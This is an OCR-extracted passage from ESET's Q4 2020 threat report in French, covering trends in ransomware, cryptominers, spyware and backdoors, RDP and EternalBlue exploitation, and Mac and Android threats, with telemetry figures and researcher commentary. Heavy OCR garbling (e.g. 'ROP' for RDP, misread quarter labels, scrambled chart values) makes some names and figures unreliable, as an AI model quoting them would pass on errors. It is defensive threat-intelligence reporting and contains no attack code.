- 7.0 % nouveaux acteurs, de nouvelles tactiques sont apparues, telles que des attaques DDoS,
le bombardement par impression ou les appels spontanés, qui ont toutes augmente la
pression sur les victimes.

Plusieurs gangs, dont DoppelPaymer et Maze, ont promis de ne pas s’attaquer aux

services d’'urgence ou aux etablissements de santé pendant la pandémie. D’autres en
revanche n’ont pas fait de telles promesses. Le gang Ryuk a hotamment continue de
cibler les établissements de santé. En ce qui concerne les conséquences reéelles des

attaques de ransomwares, 2020 est 1’'année ou une telle attaque a eu un deces pour
consequence.

Sur les appareils NAS, EChOraix est reste le principal ransomware.

Nous pensons que la plupart des tendances mentionnées ci-dessus se poursuivront
en 2021. Les gangs augmenteront les sommes demandées, deviendront plus agressifs
et utiliseront de nouvelles facons d’extorquer leurs victimes. Si la valeur du

Bitcoin continue d’augmenter, de nouveaux acteurs, méme sans competences, seront
probablement attirés par le domaine des ransomwares.

2021 repondra probablement aussi a la question « qui remplacera Maze apres l’'arrét de
ses activitées en R4 ? >» Ce pourrait étre 1’'un des gangs etablis, d’'un nouveau venu, ou
d’un nouveau groupe forme a partir d’anciens membres d’autres gangs.

Igor Kabina, Senior Detection Engineer chez ESET

Taux de detection des ransomwares en 2020
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Extracteurs de cryptom

Les extracteurs de cryptomonnaie enregistrent leur premier trimestre de croissance depuis 2018 quec la montee en fleche du prix du Bitcoin.

Apres une baisse constante depuis octobre 2018, les extracteurs de cryptomonnaie ont
connu une hausse de 4 % en Q4. En Q1 2020, il semblait que les extracteurs de cryptomonnaie
allaient continuer a decliner comme ils le font depuis le debut de 2018, apres le crash du
Bitcoin. Cependant, cette tendance a la baisse s’est stabilisee en R3, et Q4 a vu une legere
augmentation du volume de l'activite d’extraction de cryptomonnaie.

L’augmentation des detections des extracteurs de cryptomonnaie semble étre principalement
due a la croissance massive du prix du Bitcoin et d’autres cryptomonnaies en Q4. Bitcoin a
cloture l'annee en atteignant son plus haut niveau historigue jusque-la, se negociant a plus
de 29 000 dollars per BTC [39] le 31 décembre 2020. Le taux d’attaques ciblées de ransomwares
exigeant des paiements en cryptomonnaie a egalement augmente en 2020. Les victimes doivent
generalement acheter les cryptomonnaies en premier, ce qui influence leur prix.

Selon Bloomberg [40], 1’essor fulgurant du Bitcoin pourrait s’expliquer par l'intérét des
etablissements financiers pour la cryptomonnaie. PayPal a annonceé [41] autoriser les paiements
en Bitcoin et autres cryptomonnaies, et Uisa a annoncé un partenariat avec BlockFi [42] pour
Proposer une carte de credit avec recompenses en Bitcoin.

+105,4 %

-1,6 %
-4,5 %

QL Q2 Q3 Q4

1 janv. 2020 1 avr. 2020 1 juil. 2020 1 oct. 2020

Tendaonce de détection des extracteurs de cryptomonnaie en 2020, moyenne mobile sur sept jours
Echantillon de données : France

En R4, 1la hausse du prix du Bitcoin et la resurgence de l'extraction de cryptomonnaie qui en
decoule ont provoque une legere augmentation du volume des extracteurs de cryptomonnaie
détectés comme applications potentiellement indésirables (PUAJ. Par rapport a Q3, ils ont
depasse les chevaux de Troie d’extraction de cryptomonnaie ; le rapport entre PUA et chevaux
de Troie etant de 52 % contre 48 %. Parmi les PUA d’extraction de cryptomonnaie, la part de JS/
CoinMiner a augmente de 58 %.

La croissance des detections de PUA JS/CoinMiner a egalement influenceé le ratio de detection
entre navigateur et application, qui est maintenant de 27 % contre 73 %, par rapport a 21 %
contre 79 % au trimestre precedent.

La variante JS/CoinMiner la plus detectee en R4 était JS/CoinMiner.AH, une detection datant de
deux ans et liee au script d’origine de CoinHive. Il existe cependant une nouvelle variante, un
script basé sur l'architecture de CoinHive, appelé CoinImp et détecté comme JS/CoinMiner.FZ,
qui a represente une augmentation d’environ 25 % des détections de JS/CoinMiner en géneral. Ce
script est surtout present sur des sites web ou les gens passent beaucoup de temps, comme les
sites de streaming en ligne et les forums Internet.

PUA Chevaux de Troie Applications M®Navigateur

‘3 %

89 %

12 %

Echantillon de données : France

Detections des extracteurs de cryptomonnaie en R4 2020 :
ratios chevaux de Troie versus programmes potentiellement indéesirables et navigateur versus applications
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: . .. : . : X : : —Bitcoin (axe gauche) Ethereum (axe droit] —Monero (axe droit)
Bitcoin reste la principale cryptomonnaie mais il n'est pas le seul a avoir connu une croissance 30K USD 308 USD

significative en R4. Par exemple, Ethereum [43] et Monero [44] ont tous deux atteint leur plus ,

haut niveau annuel en Q4. Un nouveau ver [45] qui transforme des serveurs Windows et Linux ” 700 USD
en extracteurs de Monero est apparu en déecembre. Il est capable de se propager a d’autres 25K UsD ,'
systemes via des attaques par force brute. 600 USD
20K USD

Méme si les extracteurs de cryptomonnaie peuvent sembler représenter une menace moins 200 USD
grave pour la securite, ils ne doivent en aucun cas étre sous-estimes. En plus de detourner 15K USD 400 USD
la puissance de calcul de l'ordinateur d’'une victime, ils peuvent étre utilises pour dissimuler

d’autres activités malueillantes. En Q4, Microsoft a publié ses conclusions [46] le confirmant A% ISE 300 USD
dans le cas des attagques menées par le groupe de pirates BISMUTH contre des institutions 283 EE

privees et gouvernementales en France et au Uietnam. Les pirates ont d’abord deploye des Sl
extracteurs de cryptomonnaie et ont ensuite vole des identifiants. M mv"‘m 108 U
En 2020, le leader des activités d’extraction de cruptomonnaie par pays était la Thailande, ou la B UsD . . . B USD

telemetrie d’ESET a enregistre 17,9 % de toutes les detections. Uiennent ensuite le Péerou avec 1 janv. 2020 1 avr. 2020 1 juil. 2020 1 oct. 2020
10,1 % des detections et l’Equateur avec 5,1 %.

Evolution des taux de chaonge de Bitcoin, Monero et Ethereum en 2020

| RIER Tendances et perspectives

L’extraction de cryptomonnaie devient de plus en plus rentable a mesure que le cours
des cryptomonnaie augmente, ce qui influence par la suite le volume de detections

- des extracteurs des cryptomonnaie. En les diffusant sur les ordinateurs de victimes
sans méfiance, les pirates peuvent gagner de 1’'argent sans avoir besoin d’acheter
le mateéeriel colteux nécessaire a l’'extraction. Nous pouvons éegalement constater que
certains voleurs de mots de passe, malwares bancaires et logiciels espions ont ajoute
des fonctionnalités de vol de portefeuilles de cryptomonnaies. Comme dans le cas de
BISMUTH, des groupes de pirates sophistiquées recourent également a 1’'extraction de
cryptomonnaie. Méme si 1’'extraction malveillante de cryptomonnaie a probablement
atteint son apogée, elle continuera tant que la valeur des cryptomonnaies sera elevee.

Juraj Janosik, Head of Automated Threat Detection and Machine Learning chez ESET

Outre 1’'augmentation de la valeur du Bitcoin liée a sa popularite croissante aupres
¥ des etablissements financiers, hous pouvons observer une relation entre le prix du
Bitcoin et 1’'augmentation de 1l’activite des ransomwares ciblés. Les pirates exigent

souvent un paiement en cryptomonnaie, que les victimes ne possedent genéeralement
pas. Ainsi, les victimes achetent de la cryptomonnaie, ce qui en augmente la valeur.
Plus les attaques sont couronnees de succes, plus le prix de la cryptomonnaie est
Taux de detection des extracteurs de cryptomonnaie en 2020 élevé. Avec le boom actuel des attaques de ransomwares, on ne peut que s’attendre a
ce que ce phénomene se poursuive.

Igor Kabina, Senior Detection Engineer chez ESET
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Logiciels espions et portes derobees

La nouvelle baisse du nombre de détections laisse de marbre le voleur de mots de passe Fareit et les portes dérobées PHP/WebShell ; ce trimestre étant défini

par les attaques contre des chaines d’approvisionnement.

La telemetrie d’ESET a enregistre des pics d’activite pour les logiciels espions et les portes
derobees en septembre et en octobre, mais nous avons globalement constate de nouvelles
baisses en R4 2020, de 23 % et 20 % des detections dans les deux categories, respectivement.

Le classement du top 10 est reste pratiguement inchange en R4 ; seuls quelgues changements
mineurs et de nouveaux venus. Win/HoudRat est resteé tres present, tout comme lors des
trimestres precedents, grace a son mecanisme de propagation invasif et la mauvaise
cyberhygiene des marches en developpement.

Le voleur de mots de passe tres réepandu Win/PSW.Fareit, eégalement connu sous le nhom de Pony,
a conserve sa seconde place dans le top 10, avec seulement une léegere baisse du nombre total
de detections d’'un trimestre a l'autre, et malgre le declin general de la categorie des logiciels
espions. Fareit, qul est principalement diffuser via des emails de spam. Il est la cause du pic
de detection des logiciels espions a la fin du mois de novembre 2020 : La telemetrie d’ESET a
detecteé une campagne localisee en Turqguie, utilisant les emails preferes de Fareit associes a
l’'expedition et la livraison des colis.

Portes dérobeées Logiciels espions

0,1 % z
: +7,6 %

-12,5 %

. +50.,8 % :
+1,0 % : : -49.,3 %
1 Janvl. 2020 1 avr. 2020 1 \juil.l 2020 1 Dct.I 2020

Tendaonces de detection des logiciels espions et des portes derobées en 2020, moyenne mobile sur sept jours

Echantillon de données : France

Dans les statistiques des portes derobées, PHP/WebShell a pris la téte pour la premiére fois

en 2020, apres avoir gagne en prevalence a chaque trimestre. Ce nom de detection couvre les
malwares programmes en PHP, le langage de script cote serveur le plus populaire qui, lorsqu’il
est telecharge sur un serveur web, permet a un pirate d’acceder a distance a ses fonctions. Les
pirates introduisent genéeralement ces malwares sur les serveurs web via des applications web

Win/PSW.0OnLineGames trojan 30,3 %
Win/PSW.Fareit trojan 23,0 %
MSIL/Bladabindi trojan 13,6 %
MSIL/PSW.Discord trojan 2l el 7
Win/Spy.Weecnaw trojan 2,0 %
Win/Spy.Socelars trojan 1,9 %

Perl/Spuki worm 1,9 %

MSIL/Bladabindi worm 1,9 %

MSIL/PSW.Facebook trojan 1,4 %

PHP/PhpSpy trojan 1,4 %

Les 10 principales familles de logiciels espions en R4 2020 (% de détections de logiciels espions)
Echantillon de données : France

PHP/WebShell backdoor 25,0 %
PHP/Small backdoor 12,1 %
MSIL/NanoCore backdoor 51%
Win/VUools backdoor 4,9 %
ASP/Webshell backdoor 4,3 %
Win/Tofsee backdoor 4,2 %
Win/RanumBot backdoor 4,0 %
Win/@bot backdoor 3,0 %
Win/Rescoms backdoor 2,9 %
Java/Adwind backdoor A A

Les 10 principales familles de portes dérobées en R4 2020 (% des détections de portes dérobées)
Echantillon de données : France
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vulnerables ou mal securisees, puis utilisent cet acces pour des activites malveillantes, telles
que le vol de donnees et d’'identifiants, la diffusion d’autres malwares et la recherche d’autres
vulnerabilites.

Un nouveau venu s’est egalement classe dans le top 10 de la categorie des portes derobees en
Q4 : Win/Xorasi. Cette porte dérobeée a eté a 1'origine du pic de detection de novembre 2020, la
plupart des detections ayant eu lieu en Turquie.

Les données annuelles sur les logiciels espions et les portes derobées montrent un declin
progressif de l'activite, avec des pics occasionnels. Comme le montrent les cartes ci-jointes,
les detections de logiciels espions ont ete les plus nombreuses au Perou, en Israél, en Russie,
en Turquie et au Japon. Les portes derobees etaient surtout presentes en Thailande, en
Indonesie, au Perou, en Turquie et en Inde.
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Taux de detection des logiciels espions et des portes derobees en 2020

En ce qui concerne les familles de malwares les plus repandues, cette categorie de menace

est restee tres stable tout au long de l'annee. Les raisons en sont multiples : tout d’abord, la
plupart de ces menaces utilisent des supports amovibles ou des vulnerabilites non corrigees
pouUr se propager, ce qui augmente leur nombre. Deuxiemement, comme le montrent les donnees
geographiques, hombre de ces menaces visent les marches en developpement ou la cyberhygiene
fait encore defaut. Enfin, un grand nombre des outils les plus repandus ont fait 1'objet de
fuites en ligne, et sont donc facilement accessibles aux cybercriminels qui peuvent les utiliser
dans de nouvelles campagnes.

Portes derobees et logiciels espions utilises pour attaquer

Comme le montrent les etudes d’ESET, de nouvelles portes derobees et de nhouveaux logiciels
espions sont developpes pour des campaghes d’espionhnage plus sophistiquees, qui sont
generalement ciblees de maniere etroite et donc peu nombreuses a étre detectees.

En Q4 2020, les chercheurs d’ESET ont publié leur analyse de ModPipe [4], une porte dérobeée
modulaire ciblant les logiciels de point de vente utilises dans le secteur de I'hétellerie. Parmi
leurs autres decouvertes notables en 2020 : Ramsay [47], une boite a outils de cyberespionnage
ciblant des réseaux isoles ; le vaste ensemble d’outils InvisiMole [10] ; CORThief [48], des
malwares ciblant des commutateurs logiciels UolIP sur Linux ; et bien sUr la multitude d’outils
utilisés par des groupes d’'espionnage notoires tels que Turla [7].

Les logiciels espions et les portes derobees sont egalement au coeur des attaques contre des
chaines d’approvisionnement. ESET en a découvert trois au cours de Q4 : l'attaque de Lazarus [6]
en Corée du Sud ; Operation StealthyTrident [B] en Mongolie ; et Operation SignSight [9] contre
une autorite de certification au Uietnam.

Tendances et perspectives

Les attaques contre des chaines d’'approvisionnement déecouvertes par ESET en 2020,
notamment contre SolarWinds, montrent que les pirates sont determinés a trouver
de nouvelles facons de diffuser des malwares sur les ordinateurs de leurs cibles.
Nous pouvons préedire sans risque que le nombre d’attaques contre des chaines
d’approvisionnement continuera d’augmenter, ciblant des entreprises proposant des
services populaires dans des régions ou des secteurs d’activiteé spéecifiques.

Anton Cherepanov, Senior Malware Researcher chez ESET

La plupart des logiciels espions et des portes derobées fortement présents dans les
premiers rangs des données de télemeétrie d’ESET sont diffusés dans le but de générer
des profits et perpetuer d’'autres formes de cybercriminalite, par exemple la collecte de
mots de passe ou le téelechargement de differents malwares. Le manque de mouvement
dans les graphiques suggere que les outils actuels fournissent aux criminels les
fonctionnalités dont ils ont besoin pour atteindre ces objectifs. Cependant, comme
nous constatons un declin des detections de logiciels espions et de portes derobeées,
il est possible que les ressources soient de plus en plus investies ailleurs, peut-étre
dans le secteur plus lucratif des ransomwares. A l’avenir, nous verrons probablement
une augmentation de l'utilisation des portes derobées dans les attaques d’exfiltration
de donnees avant de déeployer des ransomwares, ce qui donnera aux pirates un moyen
d’extorsion supplémentaire au cas ou les victimes refuseraient de payer la rancon.

A la lumiére du piratage de SolarWinds, nous pouvons nous attendre a ce que davantage
d’attaques contre des chaines d’approvisionnement émergent et soient étudiées en
raison de l’'’augmentation des contréles d’assurance qualité du code et de l'amélioration
des mesures de sécurité mises en ceuvre. Nous verrons sans aucun doute davantage
d’attaques sponsorisées par des Etats utilisant de nouvelles vulnérabilités et portes
derobées.

Jiri Kropac, Head of Threat Detection Labs chez ESET
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Exploitations de vulnerabilites

1

Le hombre d’attaques contre ROP continue d’augmenter, mais a un rythme nettement plus lent. Malgre des augmentations de courte duree, l’'activite autour de

BlueKeep et d’EternalBlue s’est evanouie vers la fin de l'année.

Le taux d’'infection de COUID-19 explosant dans de nombreuses regions du monde en Q4, les
entreprises et leurs collaborateurs n‘'ont eu d’autre choix que de continuer a recourir
quotidiennement au teletravail. Les cybercriminels ont profité de 1’aggravation de la pandemie
pour augmenter encore le volume des attaques de force brute contre le protocole RDP (acces a
distance], bien gu’a un rythme plus lent gue lors des trimestres précedents.

Le nombre de clients uniques signalant des attaques contre RDP a augmente de 17 % en Q4, soit
la plus faible augmentation d’'un trimestre a 1’'autre observee en 2020. De méme, le volume des
tentatives d’attaque contre ROP a continue d’augmenter en Q4, ajoutant 40 % de plus gu’en

Q3. Bien que ce chiffre soit eleve, il s’agit d’'un ralentissement significatif par rapport a la
croissance extréme de 140 % observee entre Q2 et R3.

La fin de l'annee a egalement apporte un peu de soulagement. Apres le 23 decembre, les
tentatives d’attaques contre ROP ont connu une forte baisse et méme une legere diminution du
nombre de clients uniques cibles chague jour. Ce changement a probablement ete cause par le

fait que les cuybercriminels prennent des conges, une tendance observee chez plusieurs pirates.

Tentatives de connexion ROP sur des clients uniques

+14.0 %

-—=Tentatives de connexion ROP

+19,7 %

+35,2 % TGN
+33,0 %

+104,2 %

+79,7 %
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Tendances des tentatives de connexion ROP en 2020, moyenne mobile sur sept jours
Echantillon de données : France

En resume, les sustemes d’ESET ont detecte pres de 29 milliards de tentatives d’attaques

par force brute contre plus de 770 GO0 clients uniques sur l'ensemble de 1'annee 2020. Les
augmentations entre Q1 et Q4 ont atteint 768 % en nombre de tentatives d’attaques contre RDP
et 225 % de croissance des clients uniques qui les ont signalees par jour.

K CLIENTS UNIQUES

TENTATIVES =
D’ATTAQUE

Taux de tentatives de connexion ROP en 2020

Les tentatives d’exploitation de la vulnerabilite EternalBlue ainsi que le nombre de clients
uniques ayant signale de telles tentatives sont restes stables en Q4. Les deux chiffres n‘ont
connu que des changements mineurs, perdant 3 % par rapport a Q3. Comme dans le cas des
attaques contre RDOP, EternalBlue a connu une baisse d’activite durant les periodes de fétes.

Concernant la comparaison Q1 et Q4, 1’'activite d’EternalBlue, en termes de clients uniques, a
baisse de 8 %, contrastant avec le volume total des tentatives d’attaques, qui est reste plutot
inchangeé. La croissance rapide du debut de 1’'année peut étre attribuee a:
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-—=Tentatives d'attaque EternalBlue sur des clients uniques

Tentatives d'attaque BlueKeep sur des clients uniques

+33,7 %

+21,2 % B

8.0% 1714

-22,3 %
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Tendaonces des tentatives d’attaoque EternalBlue et BlueKeep en 2020, moyenne mobile sur sept jours

Echantillon de données : France

m [Jes reseaux isoles et precedemment non corriges desormais connectes a Internet, qui sont
ensuite ciblés par des pirates via la vulnerabilite EternalBlue.

m |’ajout d’EternalBlue aux outils utilisés par la sécuriteé interne ou les pentesteurs, ce qui
augmente le nombre de détections sur une courte periode.

Q4 a ete une péeriode assez dynamique autour de BlueKeep. Apres des baisses continues en Q2 et
Q3, les tentatives d’exploitation de cette vulnerabilité ont connu un bond notable en octaobre.
Ce mouvement a la hausse n’a ete que toutefois de courte duree et a ete suivi d’'un nouveau
declin. Les detections BlueKeep ont cl6ture 1'année 2020 avec 1l'un des chiffres les plus bas de
l’annee. Les volumes consolides en R4 indiquent une baisse de 13 % du nombre de clients uniques
signalant des tentatives d’attaque BlueKeep par jour et une baisse de 8 % du nombre total de
tentatives d’attaque.

En comparant Q1 et R4, les attagques BlueKeep ont diminue a la fois en nombre de clients
unigues (-8 %] et en nombre total de tentatives d’attaques (-13 %J. Selon les chercheurs
d’ESET, la tendance a la baisse d’'EternalBlue et de BlueKeep peut probablement étre attribuee
au remplacement de machines anciennes ou non corrigees par du materiel plus recent, ce qui
diminue progressivement l'interét et la necessite pour le personnel de securite de verifier si
les reseaux internes sont vulnerables a BlueKeep et EternalBlue.

En 2020, plusieurs vulnerabilites presentes dans des solutions d’acces a distance sont devenues
des vecteurs d’attaque populaires pour ransomwares. La vulnhéerabilite Pulse Secure Connect
CUE-2019-11510 [49] en est un exemple exploiteé par Sodinokibi/REvil.

Une comparaison de R1 et Q4 montre une augmentation de 67 % du nombre de clients uniques
ayant signale des attagques contre la vulnerabilite et une augmentation de 69 % du nombre
total de tentatives d’attaque. Si I'on compare R4 a Q3, le taux d’'augmentation s’est ralenti. Les
signalements de clients uniques n‘ont augmente que de 5 % et le nombre total de tentatives
d’attagues n’a subi qu’une correction mineure (+2 %J.
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Tendance des clients uniques signalant des tentatives d’attaque sur CUE-2019-11510 en 2020,
moyenne mobile sur sept jours

Une partie au moins de cette augmentation pourrait s’expliquer par l'interét et la
sensibilisation accrus des equipes de securite interne et des pentesteurs qui recherchent de
plus en plus souvent la presence de CUE-2019-11510 dans leur environnement.

Tendances et perspectives

L’'année 2020 a été une année sans préecéedent qui a connu une augmentation rapide

du télétravail. Cela a entrainé une forte augmentation des connexions réseau entre le
domicile et le lieu de travail, qu’elles soient sécurisées par un UPN privé ou qu’elles
utilisent une connexion RDP moins sécurisée, creant ainsi une enorme surface d’attaque.

Au cours de l’'annee, Microsoft a corrige un certain nombre de vulnerabilites qui, au
depart, semblaient assez effrayantes. Si un pirate avait reussi a les exploiter assez
rapidement, cela aurait pu provoquer une crise similaire a EternalBlue. Heureusement,
aucune de ces craintes ne s’est concrétisée.

2021 verra probablement une stabilisation ou une baisse progressive des clients
exposés aux vulnérabilités RDP. Mais on peut s’attendre a une augmentation du nombre
d’objets connectées. Les entreprises consacreront probablement plus d’efforts a
renforcer les réeseaux a distance, qui ont eté mis en place a la hate par néecessité sans
nécessairement accorder d’importance a leur sécuritée.

Ladislav Janko, Senior Malware Researcher chez ESET
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Menaces sur Mac

R4 préesente une augmentation des detections de chevaux de Troie, alors que les autres menaces liees a mac0OS stagnent ou continuent de diminuer.

En R4, les detections sur macO0S ont continue a diminuer (-3,3 %J, bien gu’a un rythme beaucoup . oUA
plus lent qu’en Q3 (-21,3 %], dans presque toutes les catégories surveillées. La catéegorie des SX/Mackeeper
chevaux de Troie § COﬂStltUE: ulne exception notable, avec Em volume glob§1 en .hausse de 78 % 0SX/GT32SupportGeeks PUA 12.8 %
par rapport au trimestre precedent. La hausse a commence dans les derniers jours de Q3 et a
continue pendant la majeure partie de Q4, atteignant son point culminant le 17 hovembre. Par 0SX/Bundlore adware 9.6 %
la suite, les detections de chevaux de Troie ont entame un declin progressif, qui s’est poursuivi
jusqu’a la fin de l’année. 0SX/Pirrit adware 6,3 %
La cause de cette croissance soudaine est double : 0SX/Keygen PUsA 5,9 %
" pic des variantes 0SX/TrojanDownloader.Adload.AE et 0SX/TrojanDownloader.Adload.AD d’un 0SX/Max0fferDeal adware 5,1 %

cheval de Troie qui teléecharge des logiciels publicitaires et des produits tels que MacKeeper _ _

0SX/TrojanDownloader.Adload trojan 3,7 %

et FakeAU
" ]a croissance a court terme d’0SX/Exploit, decrite plus en detail dans les paragraphes Y e 2.9 Y

sulivants.

_ _ _ _ 0SX/InstallCore adware 2,4 %

Le top 10 n'a connu que des changements mineurs en téte de liste. Bien que le PUA 0OSK/

Mackeeper ait perdu une partie de sa part par rapport a @3, il reste le leader inconteste de R4 0SX/SurfBuyer adware - 20 %
avec 24,8 %. De méme, le PUA 0SX/Keygen est reste en seconde position avec 13,6 %.

26,8 %

Les 10 principales détections de menaces sur Mac en R4 2020 (% des détections de menaces sur Mac)

Echantillon de données : France

o ° : ° ° °
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Tendance de detection des menaces sur Mac en 2020, moyenne mobile sur sept jours Tendance de detection des chevaux de Troie sur Mac en 2020, moyenne mobile sur sept jours

Echantillon de données : France
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Le PUA OSX/GT32SupportGeeks a reculeé d’'un trimestre a 1’'autre, partageant la troisieme place
avec le logiciel publicitaire 0SX/Pirrit a 6,8 %.

Le cheval de Troie 0SX/Exploit etait le seul nouveau venu dans le top 10, directement en
septieme position avec 2,5 %. Ce bond devrait étre de courte duree, car la hausse des
detections est due a une vague inexpliquee de telechargements de Kali Lihux et d’outils
associes detectes par les solutions ESET. Cette activite devrait revenir aux niveaux precedents
dans les mois a venir.

En Q4, une porte derobee ciblant macOS a ete associe au groupe de pirates OceanlLotus par

les chercheurs de Trend Micro [50]. Ce gqui a attire notre attention dans ce cas, c’est que le
malware utilisait des caracteres spéciaux caches dans le nom du fichier pour passer inapercu.
Cette technique avait déja été décrite dans le malware mac0S 05X/Keydnap [51] analyse par les
chercheurs d’ESET en 2016. A cette époque, les pirates visaient le contenu d’0SX Keuchain tout
en ouvrant une porte derobee persistante.

En 2019, Apple a introduit son mecanisme de notarisation d’applications, un ensemble d’analyses
automatisees d’approbation de nouvelles applications Mac pour les inscrire sur liste blanche
dans GateKeeper. Un an plus tard, la societe a decide de renforcer les regles de contréle afin
d’ameliorer la protection des utilisateurs de Mac. Les deux derniers mois ont cependant montre
qu’en deéepit de cet effort, plusieurs programmes malveillants [52] ont réussi a se faire passer

pour des applications legitimes.

Selon la telemetrie d’ESET, le plus grand nombre de detections sur Mac en 2020 s’est produit
aux Etats—UniS, avec 25 %. Uiennent ensuite le Japon loin derriere (7,9 %), la France (5 %], le

Royaume-Uni (4,4 %) et 1’'Espagne (3,6 %).

Taux de detection des menaces sur Mac en 2020

Tendances et perspectives

En 2021, nous prevoyons que la frontiere entre les logiciels publicitaires et les
malwares macOS s’estompera encore davantage, et que les operateurs malveillants
amelioreront la dissimulation de leurs <« produits ». En termes de prevalence, nous
prevoyons que le volume de logiciels publicitaires augmentera en 2021, avec un nombre
croissant de fausses applications.

Sans amélioration du processus de notarisation d’Apple, le hombre de cas de malwares
deguises en applications léegitimes, et par conséquent « approuves »», continuera
d’augmenter tout au long de 2021.

En 2021 egalement, nous pourrions assister au developpement du tout premier malware
exploitant la virtualisation Linux, optimisée pour les ordinateurs Mac utilisant Apple
Silicon et macOS Big Sur.

Michal Malik, Detection Engineer chez ESET
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Menaces sur Android

La catéegorie des applications cachées a connu une baisse spectaculaire, tandis que les malwares bancaires ont continue de progresser.

Les menaces sur Android ont connu leur plus forte baisse en R4, avec une chute de 38 % Android/Hiddad trojan 20,7 %
par rapport au trimestre precedent. Cela est dU a une baisse des detections dans la NI T

, : . . , : , nhdroi gen rojan ,8 %4
categorie des applications cachees, qui ont chute en novembre 2020 et encore plus vers
la fin de l'annee. Android/TrojanDropper.Agent trojan 8,3 %
Cette categorie de menaces, qui a represente une grande partie des detections sur Android tout Android/AdDisplay.AdPush PUA 7.2
au long de 1'annee 2020, comprend des applications trompeuses qui cachent leurs icbnes apres
leur installation afin d’afficher furtivement des publicites. Elles sont generalement déeguisees Android/HiddenApp trojan 56 %
en Jeux et en utilitaires attrayants.

Android/SMSreg PUsA 55 %

Les niveaux de detection les plus bas ont ete atteints en decembre, et ce declin observe a
la fin de l'annee a réeduit de moitie les totaux trimestriels d’applications cacheées. Les deux Android/TrojanSMS.Agent trojan 4,9 %
principaux noms de detection relevant de cette catégorie, Android/Hiddad et Android/HiddenApp,
ont tous deux eteé toucheés. Le plus réepandu, Android/Hiddad, a diminueé de 50 %, tandis gue son
homologue plus petit, Android/HiddenApp, a chute de prés de 90 % en termes de nombre de
detections d’'un trimestre a l'autre, passant de la quatrieme a la douzieme place du top 10.

Android/0Obfus trojan 2,8 %

Android/Autoins PUsA 2,4 %

Le ralentissement s’est egalement manifeste dans le nombre de nouvelles detections Android/TrojanDownloader.Agent trojan - 1,9 %

d’applications cachees. Alors que l'activite intense de R2 et R3 a donne lieu a 14 nouvelles
detections d’applications cachees, Q4 n'en a vu qu'une seule. Les variantes apparues en R2 et R3 Les 10 principales détections de menaces sur Android en R4 2020 (% des détections de menaces sur Android)

Echantillon de données : France

. se sont tues en R4. 11 est possible que les pirates qui repandent ces menaces aient abandonne
leurs campagnes pour tenter leur chance ailleurs.

-7,3 %

-12,0 % . Le contraire etait vrai pour les malwares bancaires Android, qui semblent avoir prospere en
. Q4 2020. C'etait probablement encore la consequence de la fuite du code source du cheval de
: Troie bancaire Cerberus (détecte sous le nom Android/Spy.Cerberus], comme indiqué dans notre
: Rapport sur les menaces de R3 [53]. Apres le bond de R3, les detections de malwares bancaires
'59,9% ont continue a augmenter en R4, avec une nouvelle hausse de 32 %. Les niveaux les plus eleves,
tant pour Q4 que pour I'ensemble de 'annee 2020, ont ete atteints a la fin du mois d’octobre
2020. Par rapport au premier semestre, le nhombre de detections de malwares bancaires a triple
au cours de RZ2.

Comme en R3, I’augmentation est liée a la détection de variantes d’Android/TrojanDropper.Agent
diffusant le malware Cerberus. La telemetrie d’ESET a enregistre une augmentation de 65 % de
l'incidence de ces telechargeurs par rapport au trimestre précedent. Cela se reflete egalement
dans le top 10, oU Android/TrojanDropper.Agent s’est hisse a la premiére place, surpassant
1’Android/Hiddad en declin.

1 janv. 2020 1 avr. 2020 1 Juil. 2020 1 oct. 2020

Tendances de detection des menaces sur Android en 2020, moyenne mobile sur sept jours

Echantillon de données : France
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En examinant les donnees de detection annuelles d’Android, les niveaux globaux les plus eleves
ont ete observes en avril 2020, en raison de l'activite accrue des applications cachees, des
chevaux de Troie par SMS et des logiciels publicitaires. La plupart des categories etudiees
etaient en baisse tout au long de l'annee, a I'exception des malwares bancaires. Les pays ayant
detecte le plus de menaces sur Android en 2020 sont la Russie, qui arrive en téte avec une part
de 13 %, suivie de I'Ukraine et de la Turquie.

2020 a offert aux cybercriminels un immense reservoir de possibilites pour tromper des
victimes sans mefiance : la plateforme Android n'y a pas fait exception. Tout au long de

l’annee, toutes sortes de malwares Android ont exploite le theme de COUID-19, et les auteurs de
malwares ont fait preuve de creativite pour leurs deguisements. Parmi les pretextes les plus
couramment utilises : de pretendues applications de suivi de contacts pour COUID-19 et autres
applications publiees par des gouvernements, des identificateurs de sumptdmes, des cartes, des
aides financieres pendant la pandemie et des permis de deplacement.

Cerberus a ete particulierement actif dans ce domaine, faisant surface dans des campagnes
localisees imitant les sites web des gouvernements consacres a l'information sur le
coronavirus. En juin 2020, ESET a mis un terme a une campagne de ranconnage visant des
utilisateurs d’Android au Canada, dans laquelle les pirates ont incite des victimes a telecharger
un ransomware deéguisé en outil officiel de suivi de contacts pour COUID-19 [54].

Les chercheurs d’ESET ont egalement decouvert des campagnes d’espionnage sophistiquees sur
Android, montrant que les pirates experimentes utilisent de plus en plus de composants mobiles.
Les campagnes decouvertes, utilisant une application de chat [55] et le logiciel espion APT-C-23
[56], ciblaient le Moyen-0rient.

+79,6 %
. +33,6 % . -7,9 %
1 Janvl. 2020 1 avr‘.I 2020 1 Juil.I 2020 1 cn:"c..I 2020

Tendaonce de détection des malwares bancaires sur Android en 2020, moyenne mobile sur sept jours

Echantillon de données : France

Taux de detection des menaces sur Android en 2020

Tendances et perspectives

En 2020, nous avons vu les auteurs de malwares profiter rapidement des opportunites
offertes par la pandémie. Avec les applications obligatoires de suivi de contacts pour
COUID-19 et 1'utilisation des smartphones pour s’informer et se divertir, la plateforme
Android a ete ciblee par de nombreuses menaces, en particulier au cours du premier
semestre. On pourrait croire que l'opportunité se tarirait, mais avec le début de la
vaccination, nous verrons probablement encore des escrocs proposer de nouveaux sites
web et applications malveillantes préetendant offrir des informations sur les calendrier
de vaccination ou méme des inscriptions pour se faire vacciner.

Avec la hausse du prix du Bitcoin et d’autres cryptomonnaies, hous pourrions assister
a une réesurgence des escroqueries aux cryptomonnaies, qui ont fortement ciblé les
utilisateurs d’Android dans le passé. Davantage de variantes de malwares bancaires
devraient apparaitre en raison de la fuite du code source de Cerberus.

Comme toujours, installer des applications a partir de boutiques officielles, faire
attention aux autorisations demandées par les applications et utiliser une solution de
securite mobile fiable, contribue grandement a proteger les appareils mobiles contre les
menaces.

Lukas étef‘anko, Malware Researcher chez ESET

RAPPORT ESET SUR LES MENACES AU 4E TRIMESTRE 2020 |



Menaces web

Les menaces web ont cléture 1'année par une nouvelle baisse, le hombre de menaces etant probablement affecte par les demantelements de botnets.

Le dernier trimestre de 2020 a vu un declin continu des menaces web. Le nombre de detections

